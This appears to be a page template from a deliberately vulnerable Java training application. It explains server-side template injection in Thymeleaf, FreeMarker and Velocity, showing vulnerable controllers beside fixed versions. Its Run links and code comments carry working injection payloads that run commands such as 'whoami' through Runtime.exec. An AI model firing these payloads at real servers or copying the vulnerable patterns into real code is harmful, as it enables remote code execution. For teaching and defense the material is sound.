<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:replace="~{commons/commons::head}"></div>

<body>
<!-- 顶部导航栏 -->
<div th:replace="~{commons/commons::topbar}"></div>

<div class="container-fluid">
    <div class="row">
        <!-- 侧边栏 -->
        <div th:replace="~{commons/commons::siderbar(active='ssti.html')}"></div>

        <main role="main" class="col-md-10 offset-md-2 pt-3 main">
            <div class="card">
                <div class="card-header py-1">
                    <div class="vul_header">
                        <span>SSTI</span>
                        <span class="header_link">
                            <a class="btn btn-sm btn-primary" href="#">漏洞案例</a>
                            <a class="btn btn-sm btn-primary" href="#">wiki</a>
                        </span>
                    </div>
                </div>
                <div class="card-body">
                    <ul class="nav nav-tabs">
                        <li class="nav-item">
                            <a class="nav-link active" data-toggle="tab" href="#vulDescription">
                                漏洞描述</a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link" data-toggle="tab" href="#secureCoding"> 安全编码</a>
                        </li>
                    </ul>

                    <div class="tab-content">
                        <div class="tab-pane active" id="vulDescription">
                            <div class="alert alert-desc"><i class="lnr lnr-alarm"></i>
                                SSTI（Server Side Template
                                Injection）是指攻击者向Web应用程序的模板引擎注入恶意的模板语言代码，从而使得攻击者能够在服务端执行任意代码。这种攻击通常发生在Web应用程序使用模板引擎来动态生成页面内容的情况下，例如FreeMarker、Velocity、Thymeleaf等。
                            </div>
                        </div>
                        <div class="tab-pane fade" id="secureCoding">
                            <div class="alert alert-desc">
                                <li>【必须】避免直接将用户输入传递给模板引擎</li>
                                不要将用户输入直接拼接到模板文件路径或模板内容中，应将用户输入作为数据传递给模板，而非模板的一部分。
                                <li>【建议】使用安全的模板引擎配置</li>
                                限制模板引擎的功能范围，防止其执行潜在的危险操作，例如禁用文件系统访问、禁用类加载等。
                            </div>
                        </div>
                    </div>
                </div>
            </div>

            <div class="box-float">
                <div class="float1">
                    <a class="btn btn-sm btn-danger run-btn" target="_blank"
                       href="/vulnapi/SSTI/thymeleaf/vul?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()%7d__::.x">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-bug"> 漏洞代码 - Thymeleaf模板注入</span></h5>
                    <textarea class="form-control" name="code" id="code1" aria-label="code1">
/**
 * 模板文件参数可控，造成模板注入漏洞（选择模板）
 */
@GetMapping("/thymeleaf/vul")
public String thymeleafVul(@RequestParam String lang) {
    return "lang/" + lang;
}


/**
 * 模板片段参数可控，造成模板注入漏洞（片段选择器）
 */
@GetMapping("/thymeleaf/fragment/vul")
public String fragmentVul(@RequestParam String section) {
    return "lang/en :: " + section;
}
                    </textarea><br><br>

                    <a class="btn btn-sm btn-danger run-btn" target="_blank"
                       href="/vulnapi/SSTI/doc/vul/__${T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}__::.x">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-bug"> 漏洞代码 - url作为视图</span></h5>
                    <textarea class="form-control" name="code" id="code2" aria-label="code2">
 /**
   * 如果controller无返回值，则以GetMapping的路由为视图名称，即将请求的url作为视图名称，调用模板引擎去解析
   * 在这种情况下，我们只要可以控制请求的controller的参数，一样可以造成RCE漏洞
   * payload: __${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x
   */
 @GetMapping("/doc/{document}")
 public void getDocument(@PathVariable String document) {
     System.out.println(document);
 }
                    </textarea><br><br>

                    <a class="btn btn-sm btn-danger run-btn" target="_blank"
                       href='/vulnapi/SSTI/freemarker/vul?file=indexxx.ftl&content=<%23assign%20ex%3d"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29>%20%24%7b%20ex%28"whoami"%29%20%7d'>
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-bug"> 漏洞代码 - Freemarker模板注入</span></h5>
                    <textarea class="form-control" name="code" id="code3" aria-label="code3">
/**
 * 模板文件内容可控，造成模板注入漏洞
 * payload: <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator") }
 */
@GetMapping("/freemarker/vul")
public String freemarkerVul(@RequestParam String file, @RequestParam String content, Model model, HttpServletRequest request) {
    String resourcePath = "templates/freemarker/" + file;
    try (InputStream is = getClass().getClassLoader().getResourceAsStream(resourcePath)) {
        ...
    }

    stringTemplateLoader.putTemplate(file, content);
    conf.setTemplateUpdateDelayMilliseconds(0);
    conf.setLogTemplateExceptions(false);
    return file.replace(".ftl", "");
}
                    </textarea><br><br>

                    <a class="btn btn-sm btn-danger run-btn" target="_blank"
                       href="/vulnapi/SSTI/velocity/evaluate/vul?username=%23set(%24e%3D%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22%2Cnull).invoke(null%2Cnull).exec(%22open%20-a%20Calculator%22)">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-bug"> 漏洞代码 - Velocity注入（evaluate场景）</span></h5>
                    <textarea class="form-control" name="code" id="code4" aria-label="code4">
 /**
  * evaluate() 方法用于解析字符串模板，而不是从 .vm 文件中获取模板内容。
  * 将用户传入的参数拼接到字符串模板中使用evaluate进行解析，造成RCE
  * 漏洞影响范围: velocity &lt;= 2.2
  * 修复方式: 更新至 2.3 以上版本
  * payload: #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
  */
@GetMapping("/velocity/evaluate/vul")
@ResponseBody
public String velocityEvaluateVul(@RequestParam(defaultValue = "Hello-Java-Sec") String username) {
   String templateString = "Hello, " + username + " | phone: $phone, email: $email";
   Velocity.init();
   VelocityContext ctx = new VelocityContext();
   ctx.put("phone", "012345678");
   ctx.put("email", "xxx@xxx.com");
   StringWriter out = new StringWriter();
   Velocity.evaluate(ctx, out, "test", templateString);
   return out.toString();
 }
                    </textarea><br><br>

                    <a class="btn btn-sm btn-danger run-btn" target="_blank"
                       href="/vulnapi/SSTI/velocity/merge/vul?username=%23set(%24e%3D%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22%2Cnull).invoke(null%2Cnull).exec(%22open%20-a%20Calculator%22)">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-smile"> 漏洞代码 - Velocity注入（merge场景）</span></h5>
                    <textarea class="form-control" name="code" id="code9" aria-label="code9">
/**
 * merge() 方法用于将模板字符串与上下文数据合并并生成结果
 * 示例代码中通过读取 merge.vm 的内容，将模板内容中的<USERNAME>替换为前端传入的username参数，最后通过merge方法进行合并，造成RCE
 * 漏洞影响范围: velocity &lt;= 2.2
 * 修复方式: 更新至 2.3 以上版本
 * payload: #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
*/
@GetMapping("/velocity/merge/vul")
@ResponseBody
public String velocityMergeVul(@RequestParam(defaultValue = "x1ong") String username) throws IOException, ParseException {
    // 读取 velocity 模板文件
    BufferedReader bufferedReader = new BufferedReader(new FileReader(String.valueOf(Paths.get(this.getClass().getClassLoader().getResource("templates/velocity/merge.vm").toString().replace("file:", "")))));
    StringBuilder stringBuilder = new StringBuilder();

    // 将模板文件读取到字符串
    String line;
    while ((line = bufferedReader.readLine()) != null) {
         stringBuilder.append(line);
     }
    String templateString = stringBuilder.toString();

    // 替换模板中的 <USERNAME> 变量，存在注入风险
    templateString = templateString.replace("<USERNAME>", username);
    // 创建 Velocity 解析器
    StringReader reader = new StringReader(templateString);
    VelocityContext ctx = new VelocityContext();
    ctx.put("name", "x1ong");
    ctx.put("phone", "012345678");
    ctx.put("email", "xxx@xxx.com");

    // 解析并执行 Velocity 模板
    StringWriter out = new StringWriter();
    org.apache.velocity.Template template = new org.apache.velocity.Template();
    RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
    SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));
    template.setRuntimeServices(runtimeServices);
    template.setData(node);
    template.initDocument();
    template.merge(ctx, out);
    return out.toString();
 }
                    </textarea>
                </div>

                <div class="float2">
                    <a class="btn btn-sm btn-success run-btn" target="_blank"
                       href="/vulnapi/SSTI/thymeleaf/safe?lang=payload">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-smile"> 安全代码 - 白名单</span></h5>
                    <textarea class="form-control" name="code" id="code5" aria-label="code5">
public String thymeleafSafe(@RequestParam String lang) {
    List<String> white_list = new ArrayList<String>();
    white_list.add("en");
    white_list.add("zh");

    if (white_list.contains(lang)){
        return "lang/" + lang;
    } else{
        return "commons/401";
    }
}
                    </textarea><br><br>

                    <a class="btn btn-sm btn-success run-btn" target="_blank"
                       href="/vulnapi/SSTI/doc/safe/__${T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}__::.x">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-smile"> 安全代码</span></h5>
                    <textarea class="form-control" name="code" id="code6" aria-label="code6">
/**
 * 由于controller的参数被设置为HttpServletResponse，Spring认为它已经处理了HTTP Response，因此不会发生视图名称解析
 */
@GetMapping("/doc/safe/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    System.out.println(document);
}
                    </textarea><br><br>

                    <a class="btn btn-sm btn-success run-btn" target="_blank"
                       href='/vulnapi/SSTI/freemarker/safe?file=indexxx.ftl&content=<%23assign%20ex%3d"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29>%20%24%7b%20ex%28"whoami"%29%20%7d'>
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-smile"> 安全代码</span></h5>
                    <textarea class="form-control" name="code" id="code7" aria-label="code7">
/*
 * conf.setNewBuiltinClassResolver()
 * 1. TemplateClassResolver.UNRESTRICTED_RESOLVER: 可以通过 ClassUtil.forName(className)获取任何类
 * 2. SAFER_RESOLVER: 不能加载恶意类如Execute、ObjectConstructor、JythonRuntime
 * 3. ALLOWS_NOTHING_RESOLVER: 不能解析任何类
*/
@GetMapping("/freemarker/safe")
public String freemarkerSafe(@RequestParam String file, @RequestParam String content, Model model) throws TemplateException {
    // 使用安全的解析器
    conf.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
    // 关闭 FreeMarker debug 信息
    conf.setTemplateExceptionHandler(freemarker.template.TemplateExceptionHandler.RETHROW_HANDLER);
    return this.freemarkerVul(file, content, model);
}
                    </textarea><br><br>

                    <a class="btn btn-sm btn-success run-btn" target="_blank"
                       href="/vulnapi/SSTI/velocity/evaluate/safe?username=hello">
                        <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span>Run</span></a>
                    <h5><span class="lnr lnr-smile"> 安全代码</span></h5>
                    <textarea class="form-control" name="code" id="code8" aria-label="code8">
@GetMapping("/velocity/evaluate/safe")
@ResponseBody
public String velocityEvaluateVul(@RequestParam(defaultValue = "Hello-Java-Sec") String username) {
    // username 被作为数据传递给模板，而不是直接拼接到模板字符串中
    String templateString = "Hello, $username | phone: $phone, email: $email";
    Velocity.init();
    VelocityContext ctx = new VelocityContext();
    ctx.put("phone", "012345678");
    ctx.put("email", "xxx@xxx.com");
    StringWriter out = new StringWriter();
    Velocity.evaluate(ctx, out, "test", templateString);
    return out.toString();
}
                    </textarea>

                </div>

            </div>
        </main>
    </div>
</div>

<!-- 引入script -->
<div th:replace="~{commons/commons::script}"></div>

</body>
</html>